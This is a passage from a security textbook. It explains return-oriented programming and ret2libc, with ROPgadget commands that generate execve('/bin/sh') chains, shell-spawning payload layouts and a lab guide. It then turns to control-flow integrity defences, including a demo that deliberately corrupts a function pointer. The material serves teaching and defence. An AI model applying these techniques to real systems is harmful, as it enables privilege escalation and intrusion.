Look again at what the cleanup gadgets were doing. pop %ebp; ret is not a library function — it is the last two instructions of some function, and we jumped into its middle. Nothing restricts us to gadgets that merely discard words. Consider:

pop %eax; ret          # load a value from the stack into %eax
pop %ebx; ret          # load a value from the stack into %ebx
mov %eax,(%ebx); ret   # store %eax to memory at address %ebx

Placed on the stack as [&g1][v1][&g2][v2][&g3], these execute:

%eax = v1;   %ebx = v2;   mem[v2] = v1

— a memory write of an attacker-chosen value to an attacker-chosen address, assembled entirely from existing code. Add gadgets for arithmetic (add, xor), for conditional moves of %esp (branches), and for system calls (int $0x80; ret), and we can compute anything. This is return-oriented programming (ROP), introduced by Hovav Shacham in 2007. His paper showed that the gadgets present in a standard libc are Turing-complete: any computation can be expressed as a chain of them, without calling a single libc function.

ROP as a programming model

It helps to see a ROP chain as a program for a strange machine, a framing Stephen Checkoway uses:

Ordinary programROP program
Instructions in a code segmentGadget addresses (and immediate values) on the stack
%eip points to the next instruction%esp points to the next gadget address
The CPU fetches an instruction and advances %eipret fetches a gadget address and advances %esp
A no-op is nopA no-op is the address of a bare ret
A jump changes %eipA “jump” changes %esp (e.g. pop %esp; ret)
Immediates are encoded in the instructionImmediates are words on the stack, loaded with pop

Programs that exhibit such unintended computational power are sometimes called weird machines: the attacker’s input “programs” a machine that the original developer never intended to exist, built out of the program’s own parts.

Why x86 is full of gadgets

Where do the gadgets come from? Some are the honest ends of functions. But on x86 there are vastly more, because instructions have variable length and can start at any byte. If you jump into the middle of an instruction, the CPU decodes the remaining bytes as something else entirely. The only requirement for a gadget is that the byte stream eventually hits a 0xc3 (ret). For example:

bytes:      b8 5f c3 00 00
intended:   b8 5f c3 00 00          mov  $0xc35f,%eax
from +1:       5f                   pop  %edi
               c3                   ret

The program contains a harmless mov with an immediate that happens to include 5f c3. Jump one byte into it and you get pop %edi; ret — an unintended gadget. Any 0xc3 byte anywhere in executable memory — in an immediate, a displacement, an offset — is a potential gadget ending. Fixed-length architectures such as ARM and RISC-V do not have this property, but they still have plenty of intended gadgets, and ROP has been demonstrated on them as well.

Tools: ROPgadget

Searching for gadgets by hand is tedious; tools disassemble starting at every byte offset and report the useful sequences. ROPgadget (pip3 install ROPgadget) is one:

$ ROPgadget --binary ./stack0x04                         # list gadgets in the program
$ ROPgadget --binary ./stack0x04 --only "pop|ret"        # only pops and rets
$ ROPgadget --binary /usr/lib32/libc.so.6 --string "/bin/sh"
$ ROPgadget --binary ./stack0x04 --ropchain              # try to build an execve chain

When you search a library, the addresses printed are offsets within the file. To get run-time addresses, tell ROPgadget where the library is loaded (from vmmap in pwndbg) with --offset:

$ ROPgadget --binary /usr/lib32/libc.so.6 --offset 0xf7d81000 --ropchain

With --ropchain, ROPgadget tries to assemble a complete chain that invokes execve("/bin/sh", ...) through the system-call interface and prints Python code that builds it. A statically linked or large binary usually has enough gadgets; a tiny dynamically linked one often does not, which is why attackers turn to libc.

Going deeper. ROP does not even need ret. Checkoway et al., “Return-Oriented Programming without Returns” (CCS 2010), built Turing-complete gadget sets that end in indirect jumps through a register, defeating defenses that only monitored ret instructions. Bittau et al.’s “Hacking Blind” (IEEE S&P 2014) built ROP chains against a remote server without a copy of the binary, discovering gadgets by observing which guessed addresses crashed the server.

7.8 Code Reuse on 64-bit x86

Everything above used the 32-bit convention, where arguments live on the stack. On x86-64 the System V calling convention passes the first six integer arguments in registers: %rdi, %rsi, %rdx, %rcx, %r8, %r9. That changes the attack in three ways.

  1. Arguments need gadgets. Writing &"/bin/sh" onto the stack does nothing; system reads its argument from %rdi. So even the simplest ret2libc needs a gadget, typically pop %rdi; ret:

    [ &(pop %rdi; ret) ][ &"/bin/sh" ][ &system ]
    

    The gadget loads %rdi from the stack and then returns into system. 64-bit ret2libc is a (very short) ROP chain.

  2. Zero bytes. User-space addresses on x86-64 look like 0x00007ffff7e1a000 — the upper two bytes are always zero. Written little-endian, every address ends in \x00\x00. A strcpy overflow can therefore write only one address, and only as the last thing in the payload. Copies that do not stop at zero (read, memcpy, fread) are needed for longer chains.

  3. Stack alignment. The ABI requires %rsp to be 16-byte aligned at a call. glibc’s system uses SSE instructions such as movaps that fault on a misaligned stack, so a chain that is off by 8 bytes crashes inside system. The usual fix is to insert one extra bare ret gadget before system, which shifts %rsp by 8.

7.9 Defending Against Code Reuse

NX cannot stop code reuse, so what can?

  • ASLR (Chapter 6) hides the addresses of libc functions and gadgets. A ROP chain is a list of absolute addresses, so it is useless if the attacker does not know where the code is. With PIE, even the program’s own gadgets move. The counter, as always, is an information leak.
  • Stack canaries detect the linear overwrite that plants the chain. The counter is to leak the canary or to use a non-linear write.
  • Control-flow integrity (CFI) attacks the problem at its root. A ROP chain makes ret instructions return to places no call ever returned to, and makes indirect jumps land in the middle of instructions. If every indirect control transfer is checked against the set of targets the program could legitimately use — a ret may only go to an instruction right after a call site, an indirect call may only target a function entry — most gadgets become unreachable. Hardware support such as Intel CET’s shadow stack makes return checking nearly free. That is the subject of Chapter 8.

Check Your Understanding

1. In one sentence each: why does a non-executable stack stop shellcode but not return-to-libc? What does the attacker put on the stack in each case?

Answer

Shellcode attacks put instructions on the stack and jump to them, which NX blocks because the stack page is not executable. Return-to-libc puts only data on the stack — the address of system, a return address, and a pointer to "/bin/sh" — and the CPU executes libc’s instructions from libc’s executable pages, so NX never fires.

2. In the payload [&system][&exit][&"/bin/sh"], why is there a word between &system and &"/bin/sh"? What happens if it is filled with junk instead of &exit?

Answer

system is entered by a ret, not a call, but it expects the stack a call would leave: its return address at [%esp] and its first argument at [%esp+4]. The extra word is that return address. With junk there, the attack still spawns the shell, but when the shell exits system returns to the junk address and the program crashes (typically a segmentation fault), leaving evidence. With &exit there, the program terminates normally.

3. A student finds the address of MYSHELL using a helper program called env55, then attacks a program called retlib. The attack fails: system runs but reports a “not found” error for a strange command. What went wrong?

Answer

The environment strings and the program name are packed together at the top of the stack, so the address of MYSHELL depends on the length of the program name. env55 and retlib have different name lengths (5 vs. 6 characters), so the variable sits at a slightly different address in retlib than the helper reported. The student’s pointer lands a byte or so off — in the middle of MYSHELL=/bin/sh or a neighboring string — and system tries to run that fragment as a command. The helper’s name must have the same length as the target’s, or the student must measure the address in the target itself.

4. Why can an attacker use system@plt in a non-PIE binary even when ASLR is fully enabled?

Answer

ASLR randomizes where libc is loaded, but a non-PIE executable is always loaded at its fixed link address (0x08048000 on 32-bit), so its PLT stubs are at fixed, known addresses. Returning into system@plt jumps through the GOT, which the dynamic linker has filled with the current address of system in libc. The attacker never needs to know where libc is. (This only works if the program itself references system, so that a PLT entry exists.)

5. You want to call f(1) and then g(2, 3) by returning from one into the other, without any gadgets. Draw the stack and explain the problem. How does a pop; ret gadget fix it?

Answer

Without gadgets the layout is [&f][&g][1][2][3] (low to high). When f returns, %esp moves past &g and points at the word holding 1 — which g then treats as its return address, and its arguments become 2 and 3. So 1 must serve both as f’s argument and as g’s return address; we cannot choose them independently, and the chain cannot continue meaningfully after g. With a gadget, the layout becomes [&f][&(pop;ret)][1][&g][ret-for-g][2][3]: f returns into the gadget, pop discards 1, and the gadget’s ret jumps to g, which now has its own return-address slot and its own arguments.

6. What is an “unintended” gadget, and why does x86 have so many of them compared with a fixed-width ISA such as ARM64?

Answer

An unintended gadget is an instruction sequence that the compiler never emitted: it appears when execution starts in the middle of a legitimate instruction, so the CPU decodes the remaining bytes (immediates, displacements, opcodes of later instructions) as different instructions that happen to end in a ret byte (0xc3). x86 instructions have variable length and no alignment requirement, so every byte offset is a possible decoding start. On a fixed-width ISA, instructions must be aligned, so execution can only start at intended instruction boundaries, and only the compiler’s own instruction sequences are available.

7. Why is ret2libc against a 64-bit program already a ROP attack, and what two other obstacles appear on 64-bit that do not exist on 32-bit?

Answer

On x86-64 the first argument is passed in %rdi, not on the stack, so returning into system with &"/bin/sh" on the stack does nothing; a pop %rdi; ret gadget is needed to load the argument, making even the simplest attack a two-gadget chain. The other obstacles: every user-space address contains zero bytes in its upper half, so a string-copy overflow can only write one address, at the very end of the payload; and the stack must be 16-byte aligned when system runs (it uses movaps), which often requires an extra bare ret gadget for alignment.

Summary

  • When NX blocks injected code, attackers reuse code that is already executable, most commonly functions in libc such as system, execv, mprotect, and exit.
  • A ret can impersonate a call if the attacker lays out the stack as [&func][return address][arg1][arg2].... Using &exit as system’s return address makes the process exit cleanly.
  • The needed addresses come from gdb (after the program has started), from the libc file plus its base address, or from environment variables — whose addresses shift with anything stored above them, including the program name.
  • The PLT/GOT mechanism resolves library calls at run time. In a non-PIE binary, system@plt is at a fixed address even under ASLR; GOT entries are both a leak source and an overwrite target.
  • Chaining calls with arguments needs stack-cleanup gadgets (pop ...; ret, add $n,%esp; ret) to lift %esp over each function’s arguments.
  • Return-oriented programming generalizes this: gadgets are the instruction set, %esp is the program counter. x86’s variable-length encoding provides abundant unintended gadgets, and libc’s gadgets are Turing-complete. Tools such as ROPgadget find gadgets and build chains automatically.
  • On x86-64, arguments live in registers (so pop %rdi; ret is required), addresses contain zero bytes, and the stack must stay 16-byte aligned.
  • Defenses: ASLR and canaries make code reuse harder; control-flow integrity (Chapter 8) targets it directly.

Connection to the Labs

Lab 2: Return-to-libc Attack is this chapter, hands-on:

  • Task 1 asks for the addresses of system() and exit(); Section 7.3 explains why you must run the program first and why you must debug the Set-UID binary itself.
  • Task 2 places "/bin/sh" in an environment variable. Use the stack-top picture in Section 7.3 to explain why the helper’s name length matters.
  • Task 3 is the [&system][&exit][&"/bin/sh"] payload from Section 7.2. The lab asks you to derive the offsets — do that from your own stack layout rather than from the example numbers in this chapter. Its two “attack variations” test exactly the two subtleties discussed here: the role of exit, and the program-name effect.
  • Task 4 (optional) replaces system with an exec-family call to keep root privilege, which requires solving the zero-byte problem for the argv array.
  • Task 5 builds a chain of returns into foo(). Before you start, revisit the overlap problem in Section 7.6 and convince yourself why a function with no arguments can be chained without gadgets.

Further Reading

  • Hovav Shacham. “The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86).” ACM CCS, 2007.
  • Stephen Checkoway, Lucas Davi, Alexandra Dmitrienko, Ahmad-Reza Sadeghi, Hovav Shacham, and Marcel Winandy. “Return-Oriented Programming without Returns.” ACM CCS, 2010.
  • Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazières, and Dan Boneh. “Hacking Blind.” IEEE Symposium on Security and Privacy, 2014.
  • Eli Bendersky. “Position Independent Code (PIC) in shared libraries” — a clear walkthrough of the PLT and GOT. https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries
  • Sergey Bratus et al. “What are Weird Machines?” https://www.cs.dartmouth.edu/~sergey/wm/
  • ROPgadget: https://github.com/JonathanSalwan/ROPgadget
  • Chapter 5 of Wenliang Du, Computer & Internet Security: A Hands-on Approach.

Chapter 8: Control-Flow Integrity

The last four chapters were an arms race. Stack smashing let an attacker overwrite a return address and jump to injected shellcode (Chapter 4, Chapter 5). Non-executable memory took away the injected code, so attackers reused code that was already there — first whole libc functions, then short instruction sequences chained into return-oriented programs (Chapter 7). Canaries and ASLR (Chapter 6) raised the bar, but they are probabilistic defenses: leak the canary or one code address and they fall.

This chapter takes a different approach. Instead of hiding the targets or detecting one particular kind of corruption, Control-Flow Integrity (CFI) asks a direct question at every indirect branch: is this a place the program was ever supposed to go? If not, the program is stopped. CFI does not prevent memory corruption, but it sharply limits what an attacker can do with it.

Learning objectives. After this chapter you should be able to:

  • Distinguish forward-edge from backward-edge control-flow transfers, and say which attacks abuse each.
  • Build the control-flow graph (CFG) of a small function from its basic blocks.
  • Explain how CFI instruments indirect branches and checks them against a CFG, and how a shadow stack protects returns.
  • Explain why coarse-grained CFI can be bypassed, and why precision costs performance.
  • Describe Code-Pointer Integrity, Clang/LLVM’s forward-edge CFI, context-sensitive CFI, and hardware CFI (Intel CET, ARM PAC/BTI).

8.1 What the Attacker Is After

Every control-flow hijacking attack we have seen ends the same way: the processor loads an attacker-chosen value into the instruction pointer. The attacker wants arbitrary computation — running a shell, calling mprotect, writing to a file — and the only way to get it without injecting code is to steer the existing code.

The processor changes %eip in only a few ways, and they differ sharply in how much an attacker can influence them:

TransferExampleTarget comes fromAttackable?
Direct jump / calljmp 0x8049196, call foothe instruction bytes (read-only code)No — code pages are not writable
Conditional branchje loopinstruction bytes + flagsOnly by changing data the condition depends on
Indirect call / jumpcall *%eax, jmp *(%ebx)a register or memoryYes — forward edge
Returnretthe top of the stackYes — backward edge

The last two rows are the attack surface. They split naturally into two groups:

  • Forward edges — indirect calls and jumps. In C these come from function pointers (fp()), switch jump tables, and in C++ from virtual calls through a vtable. Overwriting a function pointer (Chapter 4, “level 02”) or a GOT entry (Chapter 10) is a forward-edge attack.
  • Backward edges — returns. Overwriting a saved return address, and every ROP chain, is a backward-edge attack.

Defenses so far, and what they leave open

DefenseWhat it stopsHow it is bypassed
Stack canaryContiguous overwrites of the return addressLeak the canary; write past it with a non-linear write (format string, pointer write); attack a function pointer instead
NX / DEPExecuting injected codeCode reuse (ret2libc, ROP)
ASLRKnowing where code and data areInformation leaks; brute force on 32-bit; non-randomized modules
CFIIndirect branches to targets outside the CFGAttacks that stay inside an imprecise CFG (§8.4)

CFI is the first defense in this list that reasons about where control is allowed to go, which is exactly the property code-reuse attacks violate.

8.2 Control-Flow Graphs

CFI borrows its central data structure from compilers. A basic block is a straight-line sequence of instructions with one entry (the first instruction) and one exit (the last): no jumps out of the middle, no jump targets into the middle. A control-flow graph has one node per basic block and an edge for every possible transfer between blocks.

Consider this function:

int classify(int x, void (*log)(int))
{
    int r;
    if (x < 0)
        r = -1;
    else
        r = 1;
    log(r);          /* indirect call */
    return r;
}

Its CFG, together with the inter-procedural edges CFI cares about, looks like this:

                    caller: ... call classify ... (return site R)
                                      |
                                      v
                         +------------------------+
                         | B1: prologue           |
                         |     cmp $0, x          |
                         |     jge B3             |
                         +------------------------+
                           |  x < 0           |  x >= 0
                           v                  v
                   +---------------+   +---------------+
                   | B2: r = -1    |   | B3: r = 1     |
                   |     jmp B4    |   |               |
                   +---------------+   +---------------+
                           \                  /
                            v                v
                         +------------------------+
                         | B4: push r             |     forward edge
                         |     call *log  --------+-----------------> { log_stdout,
                         +------------------------+                      log_file, ... }
                                      |
                                      v
                         +------------------------+
                         | B5: mov r, %eax        |     backward edge
                         |     ret  --------------+-----------------> R  (only!)
                         +------------------------+

Edges inside the function (B1→B2, B1→B3, …) are direct: their targets are encoded in read-only instructions and cannot be changed at runtime. The two interesting edges are the indirect call in B4, which may go only to functions that could legitimately be stored in log, and the ret in B5, which should go only back to the instruction after whichever call classify invoked it.

A stack buffer overflow in classify that rewrites the return address so that ret goes to, say, the middle of system() creates an edge that does not exist in the CFG. That observation is the whole idea of CFI.

8.3 The CFI Principle

Control-Flow Integrity was introduced by Abadi, Budiu, Erlingsson, and Ligatti in 2005. Its policy is simple to state:

Every indirect control-flow transfer at runtime must follow an edge of the program’s statically computed CFG.

Enforcing it takes two steps:

  1. Offline: compute the CFG — from source code in a compiler, or from the binary by disassembly — and, for each indirect branch, the set of allowed targets.
  2. Instrumentation: rewrite the program so that every indirect call, jmp, and ret checks its actual target against the allowed set before transferring control. If the check fails, abort.

Two assumptions make this sound. First, code is not writable (NX/W⊕X, from Chapter 6): otherwise the attacker could simply rewrite the checks. Second, data is not executable: otherwise the attacker could jump to injected code that contains no checks. CFI is designed to hold even against an attacker who can read and write all of data memory at will — a much stronger attacker than ASLR or canaries assume.

Implementing the check with labels

How do you check “target ∈ allowed set” cheaply? The original CFI design assigns a label (ID) to each equivalence class of targets and embeds that label in the code at the start of each valid target. Before each indirect branch, the instrumentation checks that the destination carries the expected label.

A sketch of the instrumented code, with the target address in %ecx (as on the slides):

  Call site (before):                 Call site (after CFI):
                                        cmpl  $ID_LOG, LABEL_OFF(%ecx)  # target labeled?
      call  *%ecx                       jne   cfi_violation
                                        call  *%ecx

  Destination (before):               Destination (after CFI):
  log_stdout:                         log_stdout:
      push  %ebp                          <label instruction encoding ID_LOG>
      mov   %esp, %ebp                    push  %ebp
      ...                                 mov   %esp, %ebp

The label must be something the processor can execute harmlessly when control legitimately arrives. The original paper encoded it inside an instruction with no architectural effect — a prefetchnta whose memory operand contains the ID bytes — so normal execution simply runs through it. Two details make the scheme sound:

  • IDs must not appear anywhere else in the code. If the 32-bit ID value occurred by accident in the middle of some other instruction, the attacker could jump there and pass the check. The rewriter chooses IDs that are unique in the binary.
  • Returns are instrumented the same way. ret is replaced by “pop the return address into a register, check the label at the return site, then jmp to it.”

Notice the cost: every indirect branch gains a memory load, a compare, and a conditional jump. Notice also the precision limit: all targets that share a label are interchangeable. If log and qsort’s comparator both point into functions labeled with the same ID, an attacker who corrupts log can redirect it to any comparator. Precision is only as good as the label assignment.

Shadow stacks for the backward edge

Labels work poorly for returns. A popular function like memcpy is called from hundreds of sites, so all those return sites must share one label — and then a corrupted return in memcpy may go to any of them. Statically, that is the best any CFG can do: the static CFG cannot know which caller is active right now.

The dynamic answer is a shadow stack: a second stack, kept in memory the attacker cannot write, that records return addresses only.

   call f:   push return address on the normal stack
             push return address on the shadow stack

   ret:      pop  A from the normal stack
             pop  S from the shadow stack
             if A != S: abort          # return address was tampered with
             jump to A

         normal stack (writable,          shadow stack (protected,
         contains buffers)                 only return addresses)
        +------------------+              +------------------+
        | buf[64]          |              |                  |
        | saved %ebp       |              |                  |
        | ret addr = 0x... |<-- compared->| ret addr = 0x... |
        | args             |              | ...              |
        +------------------+              +------------------+

A shadow stack enforces the precise backward-edge policy: every return goes to the call site that invoked it. Software shadow stacks must hide or protect the shadow region (for example, at a randomized location or in a separate segment), and they pay a few percent of overhead; hardware shadow stacks (§8.8) make this nearly free.

Note. Programs that legitimately break call/return pairing — setjmp/longjmp, C++ exceptions, coroutines, user-level threads — need special handling, which is a large part of why shadow stacks took decades to deploy.

8.4 Precision: Coarse-Grained vs. Fine-Grained CFI

The security of CFI depends entirely on how many targets each indirect branch is allowed. Computing exact target sets for function pointers requires a precise points-to analysis, which is undecidable in general and expensive in practice, so real systems over-approximate. The spectrum looks like this:

PolicyIndirect call may go to…Return may go to…
Noneanywhereanywhere
Coarse-grained (e.g., binary-only CFI)any function entryany instruction following a call
Type-based (fine-grained forward edge)any address-taken function with a matching type signature(separate mechanism)
Points-to-basedfunctions the analysis says this pointer may hold—
Shadow stack—exactly the active caller’s return site
Context-sensitivedepends on the execution path so far—

Coarse-grained CFI was attractive because it could be applied to binaries without source code and cost little. But it leaves a very large number of legal targets: every call-preceded instruction in libc is a valid return target. Research in 2014–2015 showed that this was enough. Göktaş et al. (“Out of Control,” IEEE S&P 2014) built Turing-complete gadget sets out of call-preceded gadgets and whole-function “entry-point” gadgets that satisfied the coarse policies of the time. Carlini et al. (“Control-Flow Bending,” USENIX Security 2015) went further and showed that even fully precise static CFI — the best a static CFG can give — often still lets an attacker reach system()-like functionality, because functions such as memcpy and printf have so many legitimate callers and can themselves be abused to perform arbitrary writes. Their conclusion: static CFI must be combined with a shadow stack to be meaningful.

Type-based forward-edge CFI is the practical middle ground used today (§8.6). An indirect call through a void (*)(int) may only reach address-taken functions of type void (int). This is an over-approximation — any void (int) function whose address is taken anywhere in the program is allowed — but it removes the vast majority of targets, and it is cheap.

Going deeper. Precision can be measured. A common metric is the average indirect target reduction (AIR): the average fraction of targets removed, over all indirect branches, relative to an unprotected program. Nearly every CFI scheme scores above 99% on AIR, which is why later work argued that AIR is a poor metric: the question is not how many targets were removed but whether the remaining targets still let an attacker do something useful.

8.5 Cheaper Alternatives: Code-Pointer Separation and Integrity

Software CFI on every indirect branch has a measurable cost, and for years the overhead of precise schemes was cited as the reason they were not deployed. Kuznetsov et al. (“Code-Pointer Integrity,” OSDI 2014) attacked the problem from a different angle. Instead of checking every control transfer, protect the data that control transfers depend on.

The key observation is that only a small fraction of memory accesses touch code pointers — function pointers, return addresses, vtable pointers — or pointers that eventually lead to code pointers. If those values could never be corrupted, then control-flow hijacking would be impossible, no matter how badly the rest of memory were corrupted.

  • Code-Pointer Integrity (CPI) uses static analysis to identify all sensitive pointers (code pointers and pointers through which code pointers are reached), moves them into an isolated safe region, and adds memory-safety (bounds) checks only to accesses of those sensitive pointers. Regular memory accesses cannot reach the safe region, so corrupting a buffer cannot change a code pointer. The paper reported overheads around 8% on SPEC CPU2006 for CPI.
  • Code-Pointer Separation (CPS) is a relaxed version: it isolates only the code pointers themselves (not pointers to code pointers) in the safe region, with lower overhead (under 2% in the paper) and weaker but still strong guarantees.
  • The SafeStack component — moving return addresses and spill slots onto a separate stack from address-taken local buffers — shipped in Clang as -fsanitize=safe-stack.
             regular memory                          safe region
    +-----------------------------------+      +-------------------------+
    | buffers, ints, strings, ...       |      | function pointers       |
    | (may be corrupted by an overflow) |      | return addresses        |
    |                                   |      | vtable pointers         |
    |  struct handler {                 |      | (+ bounds metadata)     |
    |     char name[16];  ------------- | -X-> | accessed only by        |
    |     <fp moved out> ---------------|----->| instrumented code       |
    |  };                               |      |                         |
    +-----------------------------------+      +-------------------------+

The central idea of CPI, in one sentence: protect code pointers and their related metadata from unauthorized modification, rather than encrypt every pointer or forbid code pointers from existing.

Going deeper. The safe region must be hidden or hardware-isolated. On 64-bit x86 without segmentation, CPI relied on hiding the region at a random address; later work showed that this information hiding could be defeated with timing side channels that probe for the region’s location. Hardware isolation mechanisms such as Intel MPK (memory protection keys) have since been proposed to protect such regions.

8.6 CFI in Production: Clang/LLVM Forward-Edge CFI

Tice et al. (“Enforcing Forward-Edge Control-Flow Integrity in GCC & LLVM,” USENIX Security 2014) brought type-based forward-edge CFI into production compilers. Its descendant ships in Clang today as -fsanitize=cfi and is deployed in Chrome and Android. The idea, as the slides put it: create an indirect jump table for all function-call targets, and make the check at each call site a cheap range test on that table.

“All problems in computer science can be solved by another level of indirection.” — David Wheeler (often quoted together with “…except for the problem of too many layers of indirection”)

How it works for C indirect calls (-fsanitize=cfi-icall):

  1. At link time (CFI needs the whole program, hence LTO), the compiler collects every address-taken function and groups them by type signature.
  2. For each type, it emits a jump table: a contiguous array of equally sized entries, each of which is just jmp real_function.
  3. Every place the program takes a function’s address now gets the address of its jump-table entry instead.
  4. Before each indirect call through a pointer of type T, the compiler inserts a check that the pointer lies inside T’s jump table and is properly aligned to an entry boundary — a subtraction, a rotate, and a compare.
   jump table for type void(int):          call site:  fp(10)  with fp : void(*)(int)
   +--------------------------+
   | entry 0: jmp log_stdout  |  <-- base     off = fp - base
   | entry 1: jmp log_file    |               if off not multiple of entry size
   | entry 2: jmp set_level   |                  or off >= 3*entry size: trap (ud2)
   +--------------------------+               call *fp

C++ virtual calls (-fsanitize=cfi-vcall) are handled the same way: the vtable pointer loaded from an object must point into the set of vtables valid for the static type of the object at the call site.

A small experiment:

/* cfi_demo.c */
#include <stdio.h>
#include <string.h>

struct handler {
    char name[16];
    void (*cb)(int);
};

void greet(int x)        { printf("hello %d\n", x); }
int  not_a_callback(long x) { printf("pwned (x=%ld)\n", x); return 0; }

int main(int argc, char *argv[])
{
    struct handler h = { "demo", greet };
    void *evil = (void *)not_a_callback;   /* address-taken, wrong type */

    if (argc > 1)
        memcpy(&h.cb, &evil, sizeof evil); /* simulate a corrupted pointer */
    h.cb(42);
    return 0;
}
$ clang -O1 cfi_demo.c -o nocfi
$ ./nocfi x
pwned (x=42)                    # the wrong-type call "worked"

$ clang -O1 -flto -fuse-ld=lld -fvisibility=hidden -fsanitize=cfi cfi_demo.c -o withcfi
$ ./withcfi
hello 42
$ ./withcfi x
Illegal instruction (core dumped)

Without CFI the corrupted pointer is called blindly. With CFI the check at h.cb(42) sees that not_a_callback is not a void (int) function and executes a trap instruction. (Adding -fno-sanitize-trap=cfi produces a diagnostic message instead of a bare trap, which is useful while debugging.) Note what CFI did not do: the memcpy still corrupted memory. Had the attacker redirected cb to another address-taken void (int) function, the call would have been allowed.

Note. On Ubuntu 20.04, install lld (sudo apt install lld) for the -fuse-ld=lld link step. The default linker cannot do Clang’s LTO. -flto is required because the jump tables and type sets must be computed over the whole program, and -fvisibility=hidden tells the compiler that classes and functions are not shared with other shared objects, so it can see all legitimate targets. Cross-DSO CFI (-fsanitize-cfi-cross-dso) relaxes this at some cost.

8.7 Context-Sensitive CFI

Type-based CFI over-approximates because a static, type-based analysis must allow every target that any execution might use. But at runtime, the program has already taken a particular path, and that history often pins the target down to one function.

void (*handler)(int);

if (is_admin(user))
    handler = admin_action;   /* type void(int) */
else
    handler = guest_action;   /* type void(int) */
...
handler(req);   /* type-based CFI allows BOTH, regardless of the path taken */

Context-sensitive CFI uses execution history to make the policy more precise:

  • Path sensitivity: the allowed target depends on the path the program took to reach the call. PITTYPAT (Ding et al., USENIX Security 2017) uses Intel Processor Trace to record the executed path efficiently and runs a points-to analysis along that path in parallel, so at the indirect call it knows exactly which function the pointer can legitimately hold.
  • Call-site / origin sensitivity: the allowed target depends on where the pointer value came from. OS-CFI (Khandaker et al., USENIX Security 2019) tracks the origin of each code pointer — the instruction that last wrote it — and checks the (target, origin) pair, which removes most of the remaining ambiguity for C function pointers and C++ virtual calls.

The trade-off is the usual one: more precision costs more runtime machinery, and these designs typically rely on hardware tracing or protected metadata to stay efficient.

8.8 Hardware-Assisted CFI

Software CFI pays for every check in instructions. Since the mid-2010s, CPU vendors have added CFI primitives that make the common cases nearly free and, crucially, work with no change to the source of legacy code — only a recompile.

Intel Control-flow Enforcement Technology (CET)

CET has two parts:

Indirect Branch Tracking (IBT) — a coarse forward-edge policy. Two new instructions, endbr32 and endbr64 (collectively ENDBRANCH), mark valid targets of indirect calls and jumps. After an indirect call or jmp, the CPU enters a “wait-for-ENDBRANCH” state; if the next instruction executed is not an endbr, it raises a control-protection fault (#CP). The encodings were chosen to be nops on older processors, so CET-compiled binaries still run everywhere.

   log_stdout:
       endbr32                 # f3 0f 1e fb  -- "valid indirect-branch target"
       push %ebp
       mov  %esp, %ebp
       ...

   call *%ecx    -->  lands on endbr32?   yes: continue
                                          no:  #CP fault, process killed

IBT alone is coarse-grained — any function entry is allowed — but it eliminates jumps into the middle of functions, which is where most useful ROP/JOP gadgets live.

Shadow Stack (SHSTK) — a hardware backward-edge policy. On call, the CPU pushes the return address on both the normal stack and a shadow stack, whose pages are marked with a special page-table type that ordinary mov instructions cannot write. On ret, it pops both and raises #CP on a mismatch. This is exactly the shadow stack of §8.3, with the protection problem solved by the MMU.

Compiler support is a single flag:

$ gcc -fcf-protection=full prog.c -o prog      # emit endbr + mark the ELF as CET-ready
$ objdump -d prog | grep -m3 endbr
    1040:  f3 0f 1e fa    endbr64
    ...
$ readelf -n prog | grep -i feature
      Properties: x86 feature: IBT, SHSTK

Ubuntu’s GCC enables -fcf-protection by default, so you will see endbr64 at the top of almost every function you disassemble on a modern Ubuntu system — now you know why. Whether the protection is enforced depends on the CPU (Intel since Tiger Lake, AMD since Zen 3 for shadow stacks), the kernel, and the C library. On Linux, user-space shadow stack support for x86 was merged in kernel 6.6 and is enabled per process by glibc; you can check CPU support with:

$ grep -o -w -E 'ibt|shstk|user_shstk' /proc/cpuinfo | sort -u

Try it. The slides’ cet-support.c program queries CPUID for the CET feature bits directly. CPUID leaf 7, subleaf 0 reports shadow-stack support in ECX bit 7 and IBT support in EDX bit 20.

ARM: Pointer Authentication and BTI

ARM took a cryptographic route for the backward edge. Pointer Authentication (PAC), added in ARMv8.3-A, stores a short MAC — computed from the pointer, a context value (typically the stack pointer), and a secret key held in system registers — in the unused high bits of a 64-bit pointer. A function signs its return address in the prologue (paciasp) and verifies it before returning (autiasp); a corrupted return address fails authentication. Branch Target Identification (BTI), added in ARMv8.5-A, is the analogue of IBT: indirect branches must land on a bti landing-pad instruction. Apple’s arm64e platform and recent Android/Linux kernels use these features.

Going deeper. Hardware CFI does not end the arms race. IBT is coarse, so whole-function reuse (calling system or mprotect through a corrupted function pointer) still works; data-only attacks that never touch a code pointer are outside CFI’s threat model entirely. Research continues on combining hardware primitives with finer-grained type checks — for example, the Linux kernel’s kCFI combines a type-hash check at each indirect call with IBT.

8.9 Where CFI Stands

ApproachEdgePrecisionCostStatus
Original label-based CFI (2005)bothstatic CFG, label classes10–20%+research
Coarse binary CFIbothany function / any call-preceded sitelowbypassed (2014–15)
Clang -fsanitize=cfiforwardtype signature~1%deployed (Chrome, Android)
CPI / CPS / SafeStackboth (via data)protects code pointers1–8%SafeStack in Clang
Context-sensitive CFIforwardpath / originhigher; needs tracingresearch
Intel CET (IBT + SHSTK)bothcoarse fwd + precise back~0shipping hardware
ARM PAC + BTIbothMAC on pointers + landing pads~0shipping hardware

The lesson is the one from Chapter 1: no mechanism is free, and deployment follows cost. CFI was published in 2005; it became mainstream only when compiler-integrated type-based checks and hardware shadow stacks drove its overhead toward zero. And because CFI does not stop memory corruption itself, the long-term answer remains eliminating the corruption — the subject of memory-safe languages such as Rust (Optional Rust lab).

Check Your Understanding

1. What does Control-Flow Integrity primarily enforce? A. Every memory access stays within the allocated object. B. Every control-flow transfer goes to a valid destination according to a predefined policy. C. Return addresses are encrypted before being stored on the stack. D. Code pages cannot be modified at runtime.

Answer

B. (A) is spatial memory safety; (C) describes one hardware technique (pointer authentication) that can be used for backward-edge protection; (D) is W⊕X, which CFI assumes as a prerequisite but does not itself enforce.

2. What is the central idea behind Code-Pointer Integrity (CPI)? A. Encrypt every pointer in the program. B. Prevent code pointers from ever being stored in memory. C. Protect code pointers and related metadata from unauthorized modification. D. Restrict all pointers to point to the heap.

Answer

C. CPI identifies sensitive pointers (code pointers and pointers used to reach them), stores them in an isolated safe region, and enforces memory safety only for accesses to them. Code pointers still live in memory — just in a region that ordinary, possibly corrupted, accesses cannot reach.

3. Consider this indirect call. With forward-edge CFI, which attack is the system mainly trying to prevent?

void (*fp)(int);
...
fp(10);

